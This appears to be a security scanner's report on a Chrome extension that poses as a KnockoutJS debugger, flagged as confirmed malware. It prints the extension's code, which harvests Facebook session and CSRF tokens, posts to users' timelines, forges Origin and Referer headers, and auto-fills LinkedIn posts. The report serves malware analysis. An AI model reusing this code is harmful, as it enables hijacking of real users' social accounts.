Security Alert: Confirmed Malware
Knockoutjs context debugger
ID: oddcpmchholgcjgjdnfjmildmlielhof
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- elijahzemlak733View Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Shows the knockout context & data for the selected dom node in a sidebar of the elements pane.
Product features and usage: - Extension supports developers to easily debugger value variables when using the "KnockoutJs" library for their html files. With the form showing the removal & data context for the selected dom button in the sidebar of the element pane. - Knockoutjs debugging extension. + Adds an additional sidebar in the element pane of chrome dev tools with knockout context and relevant data for the selected element. Very useful if you have large/nested views. + Very usefull if you got large/nested viewmodels. + Allows adding traces to everything observable/computable. + Allows editing of observables from the dashboard. So to use the extension, the user's html file must download and use the KnockoutJS library (knockoutjs.com). MIT license. Tip (based on comments) You can view the content of any observable in the viewmodel in the '$root_toJS' variable. ------ Change Log ------- Version-2.6.7: Add "Library Knockout Js" sharing feature to social networks: Twitter, LinkedIn and quickly share links to newsfeed facebook using post api.
Sensitive Domain Access
This extension has access to the following sensitive domains:
- https://*.facebook.com/*
- https://twitter.com/*
- https://*.linkedin.com/*
The background service worker silently fetches an authenticated Facebook composer endpoint and scrapes the user's Facebook user ID (actorID), CSRF token (fb_dtsg), and eav token out of the response with regular expressions. These are session-bound credentials that allow impersonation of the logged-in Facebook account, exfiltrated via cross-origin fetch using the user's cookies.
ce = async () => { let e = null, t = null, r = null; const g = await fetch("https://m.facebook.com/composer/ocelot/async_loader/?publisher=feed") .then(o => o.text()) .catch(() => !1); if (typeof g == "boolean") return !1; const c = /"actorID\\":\\"([\d]+)\\"/, s = /\\"dtsg\\":{\\"token\\":\\"(.*?)\\"/, n = /eav=(.*?)&/; return e = B(g, c), t = B(g, s), r = B(g, n), e && e !== "0" ? { id: e, dtsg: t, eav: r } : null};Pe("check-share", e => ce());chrome.runtime.onMessage.addListener((e, t, r) => ((async () => { if (e.patch === "checklog" && r(await ce()), e.patch === "share") {Using the harvested actorID/fb_dtsg/eav tokens, the extension issues an authenticated POST to m.facebook.com that publishes a status update on the user's Facebook timeline. Posting to a user's social account without an explicit, in-context user gesture on Facebook itself is unauthorized account action and account abuse.
De = async (e, t, r, g) => { let c = r; if (c || (c = await Oe()), !c) return; const s = { privacyx: "300645083384735", rating: "0", status: g, target: e, ch: "", linkUrl: "", ... fb_dtsg: t, jazoest: "25515", lsd: "Z5vkA4-4Kf35WWHGwb0Pwk", __user: e }, n = await fetch(`https://m.facebook.com/a/home.php?eav=${c}&paipv=0`, { credentials: "include", body: Ne(s), method: "post" })declarativeNetRequest rules forge the Origin and Referer headers on background-context (tabIds: [-1]) XHRs to facebook.com / m.facebook.com so the requests appear to originate from Facebook itself. This is a deliberate bypass of Facebook's CSRF / same-origin protections, enabling the extension's background fetches to act as the user without that being a same-site action.
const Re = [{ id: 10, priority: 1, action: { type: te.MODIFY_HEADERS, requestHeaders: [{ header: "origin", operation: U.SET, value: "https://www.facebook.com" }, { header: "referer", operation: U.SET, value: "https://www.facebook.com/" }] }, condition: { urlFilter: "www.facebook.com", resourceTypes: ["xmlhttprequest"], tabIds: [-1] }}, { id: 11, priority: 1, action: { type: te.MODIFY_HEADERS, requestHeaders: [{ header: "origin", operation: U.SET, value: "https://m.facebook.com" }, { header: "referer", operation: U.SET, value: "https://m.facebook.com/" }] }, condition: { urlFilter: "https://m.facebook.com", resourceTypes: ["xmlhttprequest"], tabIds: [-1] }}];chrome.declarativeNetRequest.updateSessionRules({ addRules: Re, removeRuleIds: [10, 11]});A KnockoutJS DevTools debugger extension has no legitimate need to inject content scripts into Facebook, Twitter, and LinkedIn or hold host permissions for those domains. This permission profile is inconsistent with the stated purpose and is the foundation for the social-media manipulation code that follows.
{ "content_scripts": [ { "js": [ "assets/content-script-loader.index.ts.7c64ed84.6df94f50.js" ], "matches": [ "https://*.facebook.com/*", "https://twitter.com/*", "https://*.linkedin.com/*" ] } ], "host_permissions": [ "https://*.facebook.com/*", "https://twitter.com/*", "https://*.linkedin.com/*" ], "permissions": [ "storage", "declarativeNetRequest" ]}On LinkedIn, the content script polls for the share-box trigger, programmatically clicks it, focuses the post composer, and uses document.execCommand('insertText') to type promotional content into the user's draft post. This is automated UI manipulation of a logged-in social account driven by a flag the extension itself sets — a hallmark of social-media spam/promotion malware.
(async () => { const { typeShare: r } = await chrome.storage.local.get("typeShare"); if (window.location.href === "https://www.linkedin.com/feed/?share-url=knockoutjs.com" && r === "li") { const s = `Knockoutjs Library \n www.knockoutjs.com`, c = (t, o = 0) => { o <= 100 && setTimeout(() => { const e = document.querySelector( 'div.ql-editor.ql-blank[data-test-ql-editor-contenteditable="true"]'); e ? (e.focus(), setTimeout(() => document.execCommand("insertText", !1, t), 1e3), chrome.storage.local .set({ typeShare: "" })) : c(t, ++o) }, 50) }, n = (t, o = 0) => { const e = document.querySelector(".ember-view.share-box-feed-entry__trigger"); e ? (e.click(), setTimeout(() => { c(t) }, 500)) : !e && o < 20 && setTimeout(() => { n(t, ++o) }, 100) }; n(s) }})();The options page checks if the user is logged into Facebook (via the harvested dtsg token) and, on click, dispatches a 'patch: share' message that triggers the background worker's De() function to silently post to the user's Facebook timeline. It also primes the storage flag (typeShare: 'tw'/'li') that the LinkedIn/Twitter content scripts read to auto-fill the share composer, completing the abuse pipeline.
async function g(o, t) { const s = `Knockoutjs Library \n www.knockoutjs.com`; t.classList.add("disabled"), chrome.storage.local.set({ typeShare: "fa" }); const a = await chrome.runtime.sendMessage({ patch: "share", data: { ...o, content: s } }); alert(a ? "Share library success!" : "Share library fail!"), t.classList.remove("disabled")}async function m(o) { const t = await chrome.runtime.sendMessage({ patch: "checklog" }); t != null && t.dtsg ? o.onclick = () => g(t, o) : (o.classList.add("disabled"), o.setAttribute("title", "Not logged in yet"))}const n = document.getElementById("share-fa"), r = document.getElementById("share-tw"), i = document.getElementById("share-li");r && (r.onclick = () => chrome.storage.local.set({ typeShare: "tw"}));i && (i.onclick = () => chrome.storage.local.set({ typeShare: "li"}));n && m(n);By severity
Versions scanned
Showing 1 of 5 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.6.7 | 6 |
Files with findings
4 distinct paths — top paths by unique finding count:
- assets/index.ts.b40a4a3c.js3
- assets/index.html.9d8da067.js1
- assets/index.ts.7c64ed84.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.